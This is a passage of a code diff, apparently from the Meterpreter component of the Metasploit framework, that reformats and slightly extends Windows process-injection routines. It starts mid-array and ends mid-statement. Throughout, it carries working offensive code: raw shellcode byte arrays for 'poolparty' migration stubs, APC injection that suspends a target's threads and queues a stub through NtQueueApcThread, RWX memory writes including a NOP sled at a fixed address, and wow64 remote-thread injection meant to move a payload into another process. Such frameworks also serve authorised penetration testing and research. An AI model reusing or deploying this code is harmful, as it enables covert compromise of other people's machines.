0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x42, 0x30, 0x48, 0x39, 0x90, 0xC8, 0x02, 0x00, 0x00, 0x75, 0x0E, 0x48, 0x8D, 0x95, 0x07, 0x01, 0x00, 0x00, 0x48, 0x89, 0x90, 0xC8, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0x01, 0x4C, 0x8B, 0x49, 0x08, 0x48, 0x31, 0xC9, 0x48, 0x31, 0xD2, 0x51, 0x51, 0x41, 0xBA, 0x38, 0x68, 0x0D, 0x16, 0xFF, 0xD5, 0x48, 0x81, 0xC4, 0xA8, 0x00, 0x00, 0x00, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + // see '/msf/external/source/shellcode/windows/x64/src/migrate/poolparty.asm' -BYTE poolparty_stub_x64[] = {0xFC,0x55,0x57,0x56,0x48,0x89,0xE7,0xE9,0x01,0x01,0x00,0x00,0x5E,0x48,0x83,0xEC - ,0x78,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2 - ,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72 - ,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C - ,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48 - ,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75 - ,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50 - ,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41 - ,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9 - ,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1 - ,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44 - ,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41 - ,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52 - ,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x8B - ,0x4E,0x10,0x48,0x31,0xD2,0xFF,0xCA,0x41,0xBA,0x08,0x87,0x1D,0x60,0xFF,0xD5,0x48 - ,0x31,0xD2,0x4C,0x8B,0x06,0x4C,0x8B,0x4E,0x08,0x48,0x31,0xC9,0x51,0x51,0x41,0xBA - ,0x38,0x68,0x0D,0x16,0xFF,0xD5,0x48,0x89,0xFC,0x5E,0x5F,0x5D,0xC3,0xE8,0xFA,0xFE - ,0xFF,0xFF}; +BYTE poolparty_stub_x64[] = {0xFC, 0x55, 0x57, 0x56, 0x48, 0x89, 0xE7, 0xE9, 0x01, 0x01, 0x00, 0x00, 0x5E, 0x48, 0x83, 0xEC, 0x78, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, 0x5D, 0x8B, 0x4E, 0x10, 0x48, 0x31, 0xD2, 0xFF, 0xCA, 0x41, 0xBA, 0x08, 0x87, 0x1D, 0x60, 0xFF, 0xD5, 0x48, 0x31, 0xD2, 0x4C, 0x8B, 0x06, 0x4C, 0x8B, 0x4E, 0x08, 0x48, 0x31, 0xC9, 0x51, 0x51, 0x41, 0xBA, 0x38, 0x68, 0x0D, 0x16, 0xFF, 0xD5, 0x48, 0x89, 0xFC, 0x5E, 0x5F, 0x5D, 0xC3, 0xE8, 0xFA, 0xFE, 0xFF, 0xFF}; // see '/msf/external/source/shellcode/windows/x86/src/migrate/poolparty.asm' -BYTE poolparty_stub_x86[] = {0x55,0x53,0x57,0x56,0x89,0xe6,0xfc,0xe9,0xbd,0x00,0x00,0x00,0x5d,0x6a,0xff,0xff - ,0x73,0x10,0x68,0x08,0x87,0x1d,0x60,0xff,0xd5,0x31,0xff,0x57,0x57,0xff,0x73,0x08 - ,0xff,0x33,0x57,0x57,0x68,0x38,0x68,0x0d,0x16,0xff,0xd5,0x89,0xf4,0x5e,0x5f,0x5b - ,0x5d,0xc3,0xe8,0xd5,0xff,0xff,0xff,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30 - ,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31 - ,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,0x75,0xef - ,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74 - ,0x4c,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0x85,0xc9,0x74,0x3c - ,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7 - ,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24 - ,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0 - ,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b - ,0x12,0xeb,0x83,0x5b,0xe8,0x69,0xff,0xff,0xff,0xe8,0xf5,0xff,0xff,0xff}; +BYTE poolparty_stub_x86[] = {0x55, 0x53, 0x57, 0x56, 0x89, 0xe6, 0xfc, 0xe9, 0xbd, 0x00, 0x00, 0x00, 0x5d, 0x6a, 0xff, 0xff, 0x73, 0x10, 0x68, 0x08, 0x87, 0x1d, 0x60, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x57, 0xff, 0x73, 0x08, 0xff, 0x33, 0x57, 0x57, 0x68, 0x38, 0x68, 0x0d, 0x16, 0xff, 0xd5, 0x89, 0xf4, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0xe8, 0xd5, 0xff, 0xff, 0xff, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x49, 0x75, 0xef, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4c, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0x85, 0xc9, 0x74, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe0, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x83, 0x5b, 0xe8, 0x69, 0xff, 0xff, 0xff, 0xe8, 0xf5, 0xff, 0xff, 0xff}; /* * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe */ -DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) +DWORD inject_via_apcthread(Remote *remote, Packet *response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) { - DWORD dwResult = ERROR_ACCESS_DENIED; - HMODULE hNtdll = NULL; + DWORD dwResult = ERROR_ACCESS_DENIED; + HMODULE hNtdll = NULL; NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; - HANDLE hThreadSnap = NULL; - LPVOID lpApcStub = NULL; - LPVOID lpRemoteApcStub = NULL; - LPVOID lpRemoteApcContext = NULL; - LIST * thread_list = NULL; - THREADENTRY32 t = {0}; - APCCONTEXT ctx = {0}; - DWORD dwApcStubLength = 0; + HANDLE hThreadSnap = NULL; + LPVOID lpApcStub = NULL; + LPVOID lpRemoteApcStub = NULL; + LPVOID lpRemoteApcContext = NULL; + LIST *thread_list = NULL; + THREADENTRY32 t = {0}; + APCCONTEXT ctx = {0}; + DWORD dwApcStubLength = 0; do { thread_list = list_create(); - if( !thread_list ) + if (!thread_list) break; ctx.s.lpStartAddress = lpStartAddress; - ctx.p.lpParameter = lpParameter; - ctx.bExecuted = FALSE; + ctx.p.lpParameter = lpParameter; + ctx.bExecuted = FALSE; - t.dwSize = sizeof( THREADENTRY32 ); + t.dwSize = sizeof(THREADENTRY32); // Get the architecture specific apc migration stub... - if( dwDestinationArch == PROCESS_ARCH_X86 ) + if (dwDestinationArch == PROCESS_ARCH_X86) { - if( dwMeterpreterArch == PROCESS_ARCH_X64 ) + if (dwMeterpreterArch == PROCESS_ARCH_X64) { // injecting x64->x86(wow64) - - // Our injected APC ends up running in native x64 mode within the wow64 process and as such + + // Our injected APC ends up running in native x64 mode within the wow64 process and as such // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. - - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) + + SetLastError(ERROR_ACCESS_DENIED); + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet.") } else { // injecting x86->x86 - lpApcStub = &apc_stub_x86; - dwApcStubLength = sizeof( apc_stub_x86 ); + lpApcStub = &apc_stub_x86; + dwApcStubLength = sizeof(apc_stub_x86); } } - else if( dwDestinationArch == PROCESS_ARCH_X64 ) + else if (dwDestinationArch == PROCESS_ARCH_X64) { // injecting x64->x64 (and the same stub for x86(wow64)->x64) - lpApcStub = &apc_stub_x64; - dwApcStubLength = sizeof( apc_stub_x64 ); + lpApcStub = &apc_stub_x64; + dwApcStubLength = sizeof(apc_stub_x64); - if( dwMeterpreterArch == PROCESS_ARCH_X86 ) + if (dwMeterpreterArch == PROCESS_ARCH_X86) { // injecting x86(wow64)->x64 @@ -178,13 +91,13 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, // will simply fail gracefully on systems where the technique does not work. MEMORY_BASIC_INFORMATION mbi = {0}; - LPVOID lpRemoteAddress = NULL; - BYTE * lpNopSled = NULL; - BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; - + LPVOID lpRemoteAddress = NULL; + BYTE *lpNopSled = NULL; + BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; + /* // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. - // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, + // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, // however the start address of the new APC in the native x64 process is not what we specify but instead it is // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there @@ -219,148 +132,148 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. - lpRemoteAddress = met_api->win_api.kernel32.VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteAddress ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); - - if( met_api->win_api.kernel32.VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); - - lpNopSled = (BYTE *)malloc( mbi.RegionSize ); - if( !lpNopSled ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); - - memset( lpNopSled, 0x90, mbi.RegionSize ); - - if( !met_api->win_api.kernel32.WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) - - if( !met_api->win_api.kernel32.WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) - - free( lpNopSled ); + lpRemoteAddress = met_api->win_api.kernel32.VirtualAllocEx(hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!lpRemoteAddress) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed"); + + if (met_api->win_api.kernel32.VirtualQueryEx(hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION)) == 0) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: VirtualQueryEx failed"); + + lpNopSled = (BYTE *)malloc(mbi.RegionSize); + if (!lpNopSled) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: malloc lpNopSled failed"); + + memset(lpNopSled, 0x90, mbi.RegionSize); + + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL)) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed") + + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, ((BYTE *)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL)) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed") + + free(lpNopSled); } } else { - SetLastError( ERROR_BAD_ENVIRONMENT ); - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) + SetLastError(ERROR_BAD_ENVIRONMENT); + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: Invalid target architecture") } - hNtdll = met_api->win_api.kernel32.LoadLibraryA( "ntdll" ); - if( !hNtdll ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) + hNtdll = met_api->win_api.kernel32.LoadLibraryA("ntdll"); + if (!hNtdll) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: LoadLibraryA failed") - pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); - if( !pNtQueueApcThread ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) + pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress(hNtdll, "NtQueueApcThread"); + if (!pNtQueueApcThread) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed") - hThreadSnap = met_api->win_api.kernel32.CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); - if( !hThreadSnap ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) + hThreadSnap = met_api->win_api.kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (!hThreadSnap) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed") + + if (!met_api->win_api.kernel32.Thread32First(hThreadSnap, &t)) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: Thread32First failed") - if( !met_api->win_api.kernel32.Thread32First( hThreadSnap, &t ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) - // Allocate memory for the apc stub and context - lpRemoteApcStub = met_api->win_api.kernel32.VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteApcStub ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) + lpRemoteApcStub = met_api->win_api.kernel32.VirtualAllocEx(hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!lpRemoteApcStub) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: VirtualAllocEx failed") // Simply determine the apc context address - lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); + lpRemoteApcContext = ((BYTE *)lpRemoteApcStub + dwApcStubLength); - dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); + dprintf("[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", (dwMeterpreterArch == PROCESS_ARCH_ARM64 ? "arm64" : (dwMeterpreterArch == PROCESS_ARCH_X64 ? "x64" : "x86")), lpRemoteApcStub, lpRemoteApcContext); // Write the apc stub to memory... - if( !met_api->win_api.kernel32.WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL)) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed") // Write the apc context to memory... - if( !met_api->win_api.kernel32.WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL)) + BREAK_ON_ERROR("[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed") do { HANDLE hThread = NULL; // Only proceed if we are targeting a thread in the target process - if( t.th32OwnerProcessID != dwProcessID ) + if (t.th32OwnerProcessID != dwProcessID) continue; // Open a handle to this thread so we can do the apc injection - hThread = met_api->win_api.kernel32.OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); - if( !hThread ) + hThread = met_api->win_api.kernel32.OpenThread(THREAD_ALL_ACCESS, FALSE, t.th32ThreadID); + if (!hThread) continue; - dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); + dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID); - // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt + // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt // a connection back but the client side will not be ready to accept it and we loose the session. - if( met_api->win_api.kernel32.SuspendThread( hThread ) != (DWORD)-1 ) + if (met_api->win_api.kernel32.SuspendThread(hThread) != (DWORD)-1) { - list_push( thread_list, hThread ); + list_push(thread_list, hThread); - // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target + // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. - if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) + if (pNtQueueApcThread(hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0) == ERROR_SUCCESS) { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); + dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID); dwResult = ERROR_SUCCESS; } else { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); + dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID); } } else { - met_api->win_api.kernel32.CloseHandle( hThread ); + met_api->win_api.kernel32.CloseHandle(hThread); } - + // keep searching for more target threads to inject our apc stub into... - } while( met_api->win_api.kernel32.Thread32Next( hThreadSnap, &t ) ); + } while (met_api->win_api.kernel32.Thread32Next(hThreadSnap, &t)); - } while( 0 ); + } while (0); - if( dwResult == ERROR_SUCCESS && remote && response ) + if (dwResult == ERROR_SUCCESS && remote && response) { // We should only run this block if we are being used for migration... // Send a successful response to let the ruby side know that we've pretty // much successfully migrated and have reached the point of no return - packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE ); - packet_transmit_response( ERROR_SUCCESS, remote, response ); + packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE); + packet_transmit_response(ERROR_SUCCESS, remote, response); // Sleep to give the remote side a chance to catch up... - Sleep( 2000 ); + Sleep(2000); } - if( thread_list ) + if (thread_list) { // Resume all the threads which we queued our apc into as the remote // client side will now be ready to handle the new conenction. - while( TRUE ) + while (TRUE) { - HANDLE t = (HANDLE)list_pop( thread_list ); - if( !t ) + HANDLE t = (HANDLE)list_pop(thread_list); + if (!t) break; - met_api->win_api.kernel32.ResumeThread( t ); - met_api->win_api.kernel32.CloseHandle( t ); + met_api->win_api.kernel32.ResumeThread(t); + met_api->win_api.kernel32.CloseHandle(t); } - list_destroy( thread_list ); + list_destroy(thread_list); } - if( hThreadSnap ) - met_api->win_api.kernel32.CloseHandle( hThreadSnap ); + if (hThreadSnap) + met_api->win_api.kernel32.CloseHandle(hThreadSnap); - if( hNtdll ) - met_api->win_api.kernel32.FreeLibrary( hNtdll ); + if (hNtdll) + met_api->win_api.kernel32.FreeLibrary(hNtdll); - SetLastError( dwResult ); + SetLastError(dwResult); return dwResult; } @@ -368,92 +281,98 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, /* * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) * enviroment into a native x64 enviroment and accessing the native win64 API's. - * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new + * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out * Windows 2003 from this method of injection, however the APC injection method will work on 2003. */ -DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) + +DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *pThread) { - DWORD dwResult = ERROR_SUCCESS; - EXECUTEX64 pExecuteX64 = NULL; +#if defined(_M_ARM64) + dprintf("[INJECT] inject_via_remotethread_wow64: not supported on ARM64"); + return ERROR_NOT_SUPPORTED; +#else + DWORD dwResult = ERROR_SUCCESS; + EXECUTEX64 pExecuteX64 = NULL; X64FUNCTION pX64function = NULL; - WOW64CONTEXT * ctx = NULL; - OSVERSIONINFO os = {0}; + WOW64CONTEXT *ctx = NULL; + OSVERSIONINFO os = {0}; do { - os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); + os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); - if( !GetVersionEx( &os ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) + if (!GetVersionEx(&os)) + BREAK_ON_ERROR("[INJECT] inject_via_remotethread_wow64: GetVersionEx failed") // filter out Windows 2003 - if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) + if (os.dwMajorVersion == 5 && os.dwMinorVersion == 2) { - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) + SetLastError(ERROR_ACCESS_DENIED); + BREAK_ON_ERROR("[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported.") } // alloc a RWX buffer in this process for the EXECUTEX64 function - pExecuteX64 = (EXECUTEX64)met_api->win_api.kernel32.VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !pExecuteX64 ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) - + pExecuteX64 = (EXECUTEX64)met_api->win_api.kernel32.VirtualAlloc(NULL, sizeof(migrate_executex64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pExecuteX64) + BREAK_ON_ERROR("[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed") + // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) - pX64function = (X64FUNCTION)met_api->win_api.kernel32.VirtualAlloc( NULL, 